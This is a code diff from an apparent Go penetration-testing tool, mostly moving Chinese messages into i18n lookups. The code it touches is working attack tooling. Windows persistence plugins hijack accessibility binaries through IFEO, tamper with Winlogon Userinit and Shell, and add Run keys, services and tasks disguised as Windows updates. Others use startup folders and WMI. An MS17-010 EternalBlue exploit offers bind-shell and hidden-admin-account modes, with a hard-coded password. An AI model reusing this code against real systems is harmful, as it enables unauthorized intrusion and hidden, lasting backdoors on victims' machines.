func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -39,9 +39,9 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
exe string
desc string
}{
{"sethc.exe", "粘滞键 (Shift×5)"},
{"utilman.exe", "辅助功能 (Win+U)"},
{"narrator.exe", "讲述人"},
{"sethc.exe", i18n.GetText("winifeo_sticky_keys")},
{"utilman.exe", i18n.GetText("winifeo_accessibility")},
{"narrator.exe", i18n.GetText("winifeo_narrator")},
}
var output strings.Builder
@@ -51,10 +51,10 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe)
out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe))
output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n")
successCount++
}
+9 -9
View File
@@ -26,22 +26,22 @@ func NewWinLogonPlugin() *WinLogonPlugin {
func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
entries := []struct {
name string
value string
desc string
name string
value string
desc string
}{
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"},
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"},
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")},
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")},
}
var output strings.Builder
@@ -50,10 +50,10 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
for _, e := range entries {
out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc))
output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n")
successCount++
}
+10 -10
View File
@@ -28,23 +28,23 @@ func NewWinRegistryPlugin() *WinRegistryPlugin {
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
entries := []struct {
key string
name string
desc string
key string
name string
desc string
}{
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"},
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"},
{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"},
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")},
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")},
{`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")},
}
var output strings.Builder
@@ -53,10 +53,10 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
for _, e := range entries {
out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name))
output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n")
successCount++
}
+5 -5
View File
@@ -28,14 +28,14 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin {
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
ext := strings.ToLower(filepath.Ext(pePath))
if ext != ".exe" && ext != ".dll" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -66,10 +66,10 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
out, err := cmd.CombinedOutput()
result := strings.TrimSpace(string(out))
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", task.name, result))
output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", task.name, task.schedule))
output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n")
successCount++
}
+4 -4
View File
@@ -28,10 +28,10 @@ func NewWinServicePlugin() *WinServicePlugin {
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -55,11 +55,11 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess
fmt.Sprintf("DisplayName=%s", svc.display),
fmt.Sprintf("start=%s", svc.start)).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n")
continue
}
_ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run()
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start))
output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n")
successCount++
}
+6 -6
View File
@@ -28,10 +28,10 @@ func NewWinStartupPlugin() *WinStartupPlugin {
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -41,8 +41,8 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
name string
dir string
}{
{"用户启动文件夹", filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{"公共启动文件夹", filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
{i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")},
}
var output strings.Builder
@@ -51,10 +51,10 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
for _, loc := range locations {
target := filepath.Join(loc.dir, fileName)
if err := copyFile(absPath, target); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", loc.name, err))
output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s -> %s\n", loc.name, target))
output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n")
successCount++
}
+3 -3
View File
@@ -28,10 +28,10 @@ func NewWinWMIPlugin() *WinWMIPlugin {
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`,
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
if err != nil {
common.LogError(i18n.Tr("error_generic", fmt.Errorf("PowerShell执行失败: %w, 输出: %s", err, strings.TrimSpace(string(out)))))
common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
}
result := string(out)
+6 -6
View File
@@ -164,17 +164,17 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
return false, fmt.Errorf("STOMP请求发送失败: %w", err)
return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_send_failed"), err)
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 1024)
n, err := conn.Read(response)
if err != nil {
return false, fmt.Errorf("STOMP响应读取失败: %w", err)
return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_read_failed"), err)
}
if n == 0 {
return false, fmt.Errorf("STOMP无响应数据")
return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response"))
}
responseStr := string(response[:n])
@@ -182,7 +182,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
if strings.Contains(responseStr, "CONNECTED") {
return true, nil
} else if strings.Contains(responseStr, "ERROR") {
errorMsg := "STOMP认证错误"
errorMsg := i18n.GetText("activemq_stomp_auth_error")
if strings.Contains(responseStr, "Authentication failed") {
errorMsg = "Authentication failed"
} else if strings.Contains(responseStr, "Access denied") {
@@ -193,7 +193,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
return false, fmt.Errorf("%s", errorMsg)
}
return false, fmt.Errorf("STOMP未知响应格式")
return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_unknown_response"))
}
// identifyService ActiveMQ服务识别
@@ -236,7 +236,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
return &ScanResult{
Success: false,
Service: "activemq",
Error: fmt.Errorf("无响应数据"),
Error: fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")),
}
}
+2 -2
View File
@@ -291,7 +291,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
Type: plugins.ResultTypeService,
Success: true,
Service: "cassandra",
Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy),
Banner: i18n.Tr("cassandra_no_auth_cluster", dummy),
}
}
@@ -322,7 +322,7 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host
state.IncrementTCPSuccessPacketCount()
if opcode == cqlOpAuthChl {
banner := "Cassandra (需要认证)"
banner := i18n.GetText("cassandra_auth_required")
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner}
}
+1 -1
View File
@@ -40,7 +40,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s
Success: true,
Type: plugins.ResultTypeVuln,
Service: "elasticsearch",
VulInfo: "未授权访问",
VulInfo: i18n.GetText("unauthorized_access"),
}
}
+9 -10
View File
@@ -108,27 +108,26 @@ type NetworkInfo struct {
// Summary 返回网络信息摘要
func (ni *NetworkInfo) Summary() string {
if !ni.Valid {
return "网络发现失败"
return i18n.GetText("findnet_discovery_failed")
}
var parts []string
if ni.Hostname != "" {
parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname))
parts = append(parts, i18n.Tr("findnet_hostname", ni.Hostname))
}
if len(ni.IPv4Addrs) > 0 {
parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs)))
parts = append(parts, i18n.Tr("findnet_ipv4_count", len(ni.IPv4Addrs)))
}
if len(ni.IPv6Addrs) > 0 {
parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs)))
parts = append(parts, i18n.Tr("findnet_ipv6_count", len(ni.IPv6Addrs)))
}
if len(parts) == 0 {
return "网络信息收集完成"
return i18n.GetText("findnet_complete")
}
return strings.Join(parts, ", ")
}
// RPC数据包定义
var (
rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
@@ -140,24 +139,24 @@ var (
func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, error) {
// 发送第一个RPC请求
if _, err := conn.Write(rpcBuffer1); err != nil {
return nil, fmt.Errorf("发送RPC请求1失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request1_failed"), err)
}
// 读取响应
reply := make([]byte, 4096)
if _, err := conn.Read(reply); err != nil {
return nil, fmt.Errorf("读取RPC响应1失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response1_failed"), err)
}
// 发送第二个RPC请求
if _, err := conn.Write(rpcBuffer2); err != nil {
return nil, fmt.Errorf("发送RPC请求2失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request2_failed"), err)
}
// 读取网络信息响应
n, err := conn.Read(reply)
if err != nil || n < 42 {
return nil, fmt.Errorf("读取RPC响应2失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response2_failed"), err)
}
// 解析响应数据
+2 -2
View File
@@ -202,7 +202,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn
_ = result.Conn.Close()
var output strings.Builder
output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password))
output.WriteString(i18n.Tr("ftp_anonymous_access_detail", target, cred.Username, cred.Password))
if len(fileList) > 0 {
for _, file := range fileList {
output.WriteString(fmt.Sprintf("\n [->] %s", file))
@@ -216,7 +216,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn
Service: "ftp",
Username: cred.Username,
Password: cred.Password,
Banner: "FTP匿名访问",
Banner: i18n.GetText("ftp_anonymous_banner"),
}
}
}
+1 -1
View File
@@ -254,7 +254,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo
if err != nil {
state.IncrementTCPFailedPacketCount()
if p.isKafkaError(err) {
banner := "Kafka (需要认证)"
banner := i18n.GetText("kafka_auth_required")
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner}
}
+1 -1
View File
@@ -102,7 +102,7 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred
return &AuthResult{
Success: false,
ErrorType: ErrorTypeAuth,
Error: fmt.Errorf("所有DN格式都失败"),
Error: fmt.Errorf("%s", i18n.GetText("ldap_all_dn_failed")),
}
}
+2 -2
View File
@@ -42,7 +42,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
return &ScanResult{
Success: false,
Service: "memcached",
Error: fmt.Errorf("无法访问Memcached服务"),
Error: fmt.Errorf("%s", i18n.GetText("memcached_access_failed")),
}
}
@@ -121,7 +121,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host
return &ScanResult{
Success: false,
Service: "memcached",
Error: fmt.Errorf("无法连接到Memcached服务"),
Error: fmt.Errorf("%s", i18n.GetText("memcached_connect_failed")),
}
}
defer func() { _ = conn.Close() }()
+7 -7
View File
@@ -49,7 +49,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session
Type: plugins.ResultTypeVuln,
Success: true,
Service: "mongodb",
VulInfo: "未授权访问",
VulInfo: i18n.GetText("unauthorized_access"),
}
}
@@ -148,9 +148,9 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
// ── MongoDB wire protocol 工具 ──────────────────────────────────
const (
opMsg uint32 = 2013
opQuery uint32 = 2004
opReply uint32 = 1
opMsg uint32 = 2013
opQuery uint32 = 2004
opReply uint32 = 1
)
var mongoRequestID uint32
@@ -376,11 +376,11 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
if isUnauth {
common.LogVuln(i18n.Tr("mongodb_unauth", target))
return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: "未授权访问"}
return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")}
}
common.LogSuccess(i18n.Tr("mongodb_auth_required", target))
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: "需要认证"}
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")}
}
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
@@ -439,7 +439,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack
}
if count == 0 {
return "", fmt.Errorf("收到空响应")
return "", fmt.Errorf("%s", i18n.GetText("empty_response_received"))
}
return string(reply[:count]), nil
+47 -47
View File
@@ -43,7 +43,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
return &ScanResult{
Success: false,
Service: "ms17010",
Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"),
Error: fmt.Errorf("%s", i18n.GetText("ms17010_port_only")),
}
}
@@ -71,14 +71,14 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session
Success: true,
Type: plugins.ResultTypeVuln,
Service: "ms17010",
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
Banner: i18n.Tr("ms17010_vuln_banner", osVersion),
}
}
return &ScanResult{
Success: false,
Service: "ms17010",
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
}
}
@@ -89,12 +89,12 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
common.LogSuccess(i18n.Tr("ms17010_start", target))
var output strings.Builder
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n")
// 首先确认漏洞存在
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
if err != nil {
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n")
return &ExploitResult{
Success: false,
Output: output.String(),
@@ -103,58 +103,58 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
}
if !vulnerable {
output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n")
return &ExploitResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")),
}
}
output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n")
if osVersion != "" {
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n")
}
if hasBackdoor {
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n")
} else {
output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n")
}
// 如果有Shellcode配置,执行实际利用
if config.Shellcode != "" {
output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode))
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n")
output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n")
// 执行实际的MS17010利用
err = p.executeMS17010Exploit(info, session)
if err != nil {
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n")
return &ExploitResult{
Success: false,
Output: output.String(),
Error: err,
}
}
output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n")
output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n")
// 根据不同类型提供后续操作建议
switch config.Shellcode {
case "bind":
output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n")
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
case "add":
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n")
output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n")
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
case "guest":
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n")
}
} else {
output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n")
output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n")
output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n")
output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n")
output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n")
output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n")
}
common.LogSuccess(i18n.Tr("ms17010_complete", target))
@@ -171,17 +171,17 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
func aesDecrypt(crypted string, key string) (string, error) {
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("base64解码失败: %w", err)
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_base64_decode_failed"), err)
}
keyBytes := []byte(key)
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建AES密码块失败: %w", err)
return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_aes_cipher_failed"), err)
}
if len(cryptedBytes) < aes.BlockSize {
return "", fmt.Errorf("密文长度过短")
return "", fmt.Errorf("%s", i18n.GetText("ms17010_ciphertext_too_short"))
}
mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize])
@@ -190,12 +190,12 @@ func aesDecrypt(crypted string, key string) (string, error) {
// 移除PKCS7填充
padding := int(cryptedBytes[len(cryptedBytes)-1])
if padding > len(cryptedBytes) || padding > aes.BlockSize {
return "", fmt.Errorf("无效的填充")
return "", fmt.Errorf("%s", i18n.GetText("ms17010_invalid_padding"))
}
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
if cryptedBytes[i] != byte(padding) {
return "", fmt.Errorf("填充验证失败")
return "", fmt.Errorf("%s", i18n.GetText("ms17010_padding_check_failed"))
}
}
@@ -293,42 +293,42 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
if err != nil {
return false, "", false, fmt.Errorf("连接错误: %w", err)
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err)
}
defer func() { _ = conn.Close() }()
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
return false, "", false, fmt.Errorf("设置超时错误: %w", err)
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err)
}
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return false, "", false, fmt.Errorf("发送协议请求错误: %w", err)
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_protocol_error"), err)
}
reply := make([]byte, 1024)
n, readErr := conn.Read(reply)
if readErr != nil || n < 36 {
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
return false, "", false, fmt.Errorf("目标可能不支持SMBv1")
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_unsupported"))
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝")
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_rejected"))
}
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return false, "", false, fmt.Errorf("发送会话请求错误: %w", err)
return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_session_error"), err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
return false, "", false, fmt.Errorf("SMB会话建立失败")
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_failed"))
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return false, "", false, fmt.Errorf("SMB会话被拒绝")
return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_rejected"))
}
// 提取系统信息
@@ -354,15 +354,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address
